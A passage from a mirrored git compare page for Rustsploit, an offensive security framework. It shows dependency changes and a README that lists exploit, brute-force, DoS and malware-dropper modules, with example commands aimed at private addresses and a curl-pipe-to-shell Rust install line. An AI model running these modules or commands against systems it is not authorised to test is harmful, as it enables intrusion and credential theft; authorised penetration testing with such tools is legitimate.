mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
186 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e232427464 | |||
| ab17b25589 | |||
| 4762c3cb7f | |||
| 3d37c0c67d | |||
| 8b69bb6234 | |||
| f51d7c111b | |||
| 587f7a5163 | |||
| e0b1fbd06c | |||
| fb9ae7f3c2 | |||
| ebeb15e2b7 | |||
| 219f0710eb | |||
| c2c03295d5 | |||
| 12402c61c4 | |||
| 22aea2de44 | |||
| 347fbd71ec | |||
| c35bcf50c5 | |||
| ea1112ef4d | |||
| 3704f6239e | |||
| 13d0ca712c | |||
| d03fe5f237 | |||
| 9e121c51c0 | |||
| 82b2b087b0 | |||
| ce6e4f7e35 | |||
| f19891e03b | |||
| 0d1afe605b | |||
| ab3c86c437 | |||
| 7d3f1e8a51 | |||
| 00cf535bac | |||
| 5fff3916e3 | |||
| 7fa215aee0 | |||
| 6d69e14982 | |||
| 120832102e | |||
| 7ce7f582ce | |||
| 99ce6d9e7f | |||
| dc9f028495 | |||
| 699de58d4f | |||
| 655542e36f | |||
| 4175c164b0 | |||
| 1e657765bf | |||
| 3cd9840314 | |||
| c8d2d254a0 | |||
| f7793bc6ed | |||
| c33650e604 | |||
| 4049849a53 | |||
| a1ca9c3e43 | |||
| 4bdae0b07f | |||
| 4389cf9015 | |||
| f292e8c697 | |||
| 9616e3fea4 | |||
| 30072e4ccb | |||
| e45c346376 | |||
| d139d64bda | |||
| 849a724f0c | |||
| 3db864668c | |||
| e04c08e8d5 | |||
| 8a035a2f5b | |||
| 1afe9f5184 | |||
| 4c954a7f9f | |||
| 6a15adb0d2 | |||
| 956e2d23a2 | |||
| c774a4358a | |||
| a120f536b6 | |||
| 018f6234bb | |||
| 22f4bcf2eb | |||
| 384b09a6af | |||
| 1b50556331 | |||
| 62dbc9e2ec | |||
| 40180206fa | |||
| 9aee2764dd | |||
| f21264f99c | |||
| 7d875ede8e | |||
| c214fc0bfb | |||
| a96746297c | |||
| 96ac4d9a1a | |||
| 1a282ee99b | |||
| e7fc49d128 | |||
| 4804dcc860 | |||
| f1f1cf9855 | |||
| d250d23f3c | |||
| 2ee136e26d | |||
| 6110190d8c | |||
| 7fa6643c75 | |||
| 8c9105166f | |||
| 5775fbc016 | |||
| b5e5ac088a | |||
| 85bc679a5b | |||
| 8f83e1013b | |||
| 9ef5ec403f | |||
| 324d87b575 | |||
| a7a61b59db | |||
| 9efdcf274d | |||
| 0feab02c60 | |||
| 0a892be55a | |||
| 73f9c8f9a3 | |||
| b8b776f12a | |||
| 5d156686c6 | |||
| 630f123fe0 | |||
| aaa02ee3fe | |||
| d746c0fa69 | |||
| 1f66601843 | |||
| 386b19a17f | |||
| 9220bdceb5 | |||
| 9431916b8b | |||
| 5f168a79a3 | |||
| 63200f3d5e | |||
| 978f27e368 | |||
| 40ea4a3a74 | |||
| 90b83e4c29 | |||
| e58535d067 | |||
| d3596cf9c1 | |||
| c1963bd947 | |||
| 5ca83ef795 | |||
| c1202e98e9 | |||
| 1957eee693 | |||
| dc2763d2c4 | |||
| 8f2e4adc2d | |||
| 1c934adc33 | |||
| f37f5fa8f5 | |||
| a508bcb7dd | |||
| 260b919fba | |||
| ee3d24f6e8 | |||
| cbe7148938 | |||
| 4ec2631a2c | |||
| 4d6d127045 | |||
| 7da29ae4fe | |||
| edef9da2e5 | |||
| 0bc088d6e5 | |||
| 723241e50e | |||
| 63fb9e2387 | |||
| bd40afe476 | |||
| 537541be89 | |||
| 76a44bc3e7 | |||
| 176402c12f | |||
| 2c67cfe4ee | |||
| a4d94476e4 | |||
| 938b613cc1 | |||
| 64a0067a36 | |||
| 7feccde0b1 | |||
| 84ccbb9ce1 | |||
| 60a877ca57 | |||
| 2265480f99 | |||
| 6de9934070 | |||
| e0e2c4d8a9 | |||
| ba160cade8 | |||
| 553180eb16 | |||
| 0b17d39a05 | |||
| a348d440f8 | |||
| c60d8a69b3 | |||
| cd48200b0e | |||
| 566372adae | |||
| 9cb1ec0eb7 | |||
| 5aa35e8fe4 | |||
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 | |||
| e01e231579 |
+55
-31
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.4.3"
|
||||
version = "0.4.8"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
@@ -11,23 +11,21 @@ path = "src/main.rs"
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "17.0"
|
||||
sysinfo = { version = "0.37", features = ["multithread"] }
|
||||
colored = "3.1" # newer than 2.0
|
||||
rand = "0.10"
|
||||
rustyline = "18.0"
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.49", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
clap = { version = "4.6", features = ["derive"] }
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", features = ["json", "cookies", "socks"] }
|
||||
reqwest = { version = "0.13", features = ["json", "cookies", "socks", "multipart", "form", "stream"] }
|
||||
h2 = "0.4"
|
||||
http = "1.4"
|
||||
bytes = "1.11"
|
||||
tokio-rustls = "0.26"
|
||||
bytes = "1.11.1"
|
||||
tokio-rustls = "0.26" # used by exploit/scanner modules for target TLS connections
|
||||
url = "2.5"
|
||||
urlencoding = "2.1"
|
||||
quick-xml = "0.39"
|
||||
data-encoding = "2.10"
|
||||
semver = "1.0"
|
||||
@@ -36,45 +34,47 @@ semver = "1.0"
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.8"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.6", features = ["all"] }
|
||||
pnet_packet = "0.35"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.21"
|
||||
regex = "1.12" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "7.1", features = ["tokio-async-native-tls"] }
|
||||
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "1.0"
|
||||
rustls = "0.23" # used by exploit/scanner modules for target TLS connections
|
||||
rustls-pemfile = "2" # used by exploit/scanner modules
|
||||
hyper = { version = "1", features = ["http1", "server"] }
|
||||
hyper-util = { version = "0.1", features = ["tokio", "service"] }
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# Resource limits (safe wrapper for getrlimit/setrlimit)
|
||||
rlimit = "0.11"
|
||||
|
||||
|
||||
# Bluetooth
|
||||
btleplug = "0.12"
|
||||
|
||||
# TUI (WPair module)
|
||||
ratatui = "0.30"
|
||||
crossterm = "0.29"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.28"
|
||||
tokio-tungstenite = "0.29"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
@@ -89,26 +89,50 @@ chrono = { version = "0.4", features = ["serde"] }
|
||||
axum = "0.8"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.19", features = ["v4"] }
|
||||
uuid = { version = "1.23", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.25" }
|
||||
hickory-proto = "0.25"
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
sha1 = "0.10"
|
||||
strsim = "0.11"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
aes-gcm = "0.10.3"
|
||||
|
||||
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
|
||||
ml-kem = "0.2.3"
|
||||
kem = "=0.3.0-pre.0"
|
||||
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
|
||||
chacha20poly1305 = "0.10"
|
||||
hkdf = "0.12"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.12"
|
||||
walkdir = "2.5"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
# Dependency overrides to address security advisories in transitive dependencies
|
||||
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
|
||||
time = "0.3.47"
|
||||
# Note: paste (RUSTSEC-2024-0436, unmaintained) and lru (RUSTSEC-2026-0002, unsound) are
|
||||
# transitive warnings from ratatui 0.29 internals — no upstream fix available yet.
|
||||
|
||||
# ============================================
|
||||
# Development profile: Fast incremental builds
|
||||
|
||||
@@ -1,505 +1,106 @@
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
## 📖 Wiki & Documentation
|
||||
|
||||
1. [Highlights](#highlights)
|
||||
2. [Module Catalog](#module-catalog)
|
||||
3. [Quick Start](#quick-start)
|
||||
4. [Docker Deployment](#docker-deployment)
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](docs/API-Server.md) | REST API startup, endpoints, auth, rate limiting, hardening |
|
||||
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
|
||||
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
|
||||
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
|
||||
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
|
||||
| [Changelog](docs/Changelog.md) | Release notes and version history |
|
||||
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
|
||||
|
||||
---
|
||||
|
||||
## Highlights
|
||||
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
|
||||
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
|
||||
|
||||
---
|
||||
|
||||
## Module Catalog
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
|
||||
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
|
||||
- **Module metadata:** Optional `info()` and `check()` functions per module — CVE references, author, rank, non-destructive vulnerability verification
|
||||
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
|
||||
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
|
||||
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
|
||||
- **Loot management:** Structured evidence collection with file storage and metadata indexing
|
||||
- **Resource scripts:** Automate workflows from files, auto-load startup scripts, save command history with `makerc`
|
||||
- **Background jobs:** Run modules asynchronously with `run -j`, manage with `jobs` commands
|
||||
- **Export/reporting:** Export all engagement data to JSON, CSV, or human-readable summary reports
|
||||
- **Console logging:** `spool` command captures all output to file for documentation
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet — with IPv6 and TLS support
|
||||
- **Exploit coverage:** CVEs for GNU inetutils-telnetd, Apache Tomcat, TP-Link, Ivanti, Zabbix, OpenSSH, Jenkins, PAN-OS, Heartbleed, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer
|
||||
- **REST API server:** 30+ endpoints — authentication, rate limiting, IP tracking, full CRUD for credentials, hosts, services, loot, jobs
|
||||
- **Plugin system:** Third-party modules via `src/modules/plugins/` with build-time discovery and startup safety warnings
|
||||
- **Security hardened:** Input validation, path traversal protection, honeypot detection, memory-safe operations
|
||||
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Requirements
|
||||
|
||||
```
|
||||
```bash
|
||||
# Install dependencies (Debian/Ubuntu/Kali)
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
```
|
||||
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11
|
||||
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
# Install Rust
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
|
||||
### Clone + Build
|
||||
|
||||
```
|
||||
# Clone & build
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```
|
||||
# Run
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
|
||||
```
|
||||
cargo install --path .
|
||||
```
|
||||
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
## Quick Navigation
|
||||
|
||||
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
|
||||
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
|
||||
4. Toggle hardening mode and tune the IP limit if desired.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api` (build + serve stages)
|
||||
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
|
||||
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
|
||||
|
||||
### Non-Interactive / CI Usage
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
--ip-limit 5 \
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
|
||||
- **New user?** → [Getting Started](docs/Getting-Started.md)
|
||||
- **Writing a module?** → [Module Development](docs/Module-Development.md)
|
||||
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
|
||||
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
|
||||
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## New Features & Improvements
|
||||
## Private Internet Recommendations
|
||||
|
||||
### Framework-Level Enhancements
|
||||
|
||||
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
|
||||
|
||||
- **Advanced Target Normalization**: The framework now supports:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
All targets are validated for security (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
### Module Improvements
|
||||
|
||||
- **Telnet Bruteforce**:
|
||||
- Full Telnet IAC (Interpret As Command) negotiation support
|
||||
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
|
||||
- Verbose mode for quick checks showing all attempts and detailed statistics
|
||||
- Improved buffer handling and memory management
|
||||
|
||||
- **RDP Bruteforce**:
|
||||
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
|
||||
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
|
||||
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
|
||||
- Command injection prevention in external tool calls
|
||||
|
||||
- **MQTT Bruteforce**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper CONNECT packet construction with variable-length encoding
|
||||
- CONNACK response parsing and error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
|
||||
- Statistical analysis with configurable samples and thresholds
|
||||
- Distinguishes valid/invalid users based on authentication time differences
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- High-performance recursive directory scanning
|
||||
- Custom wordlists with extension appending
|
||||
- Smart status code filtering and size anomaly detection
|
||||
- Interactive wizard for easy configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Targeted fuzzing for URLs, headers, and body parameters
|
||||
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
|
||||
- Custom charsets (SQL, Traversal, Command Injection)
|
||||
- Iterative generation for exhaustive coverage
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
|
||||
```text
|
||||
RustSploit Command Palette
|
||||
Command Shortcuts Description
|
||||
--------------- ------------------------- ------------------------------
|
||||
help help | h | ? Show this screen
|
||||
modules modules | ls | m List discovered modules
|
||||
find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
Example session:
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
|
||||
### Command Chaining
|
||||
|
||||
Execute multiple commands in a single line using the `&` separator:
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
This is useful for scripting quick workflows or batching common operations together.
|
||||
|
||||
---
|
||||
|
||||
## CLI Usage
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
|
||||
# Scanner
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
|
||||
# Credentials
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
|
||||
## API Server Mode
|
||||
|
||||
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
# With hardening enabled (auto-rotate API key on suspicious activity)
|
||||
cargo run -- --api --api-key your-secret-key-here --harden
|
||||
|
||||
# Custom interface and IP limit
|
||||
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
|
||||
|
||||
# Custom port
|
||||
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
```
|
||||
|
||||
### API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
|
||||
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
|
||||
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
|
||||
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
|
||||
|
||||
### API Endpoints
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```
|
||||
# Bearer token format
|
||||
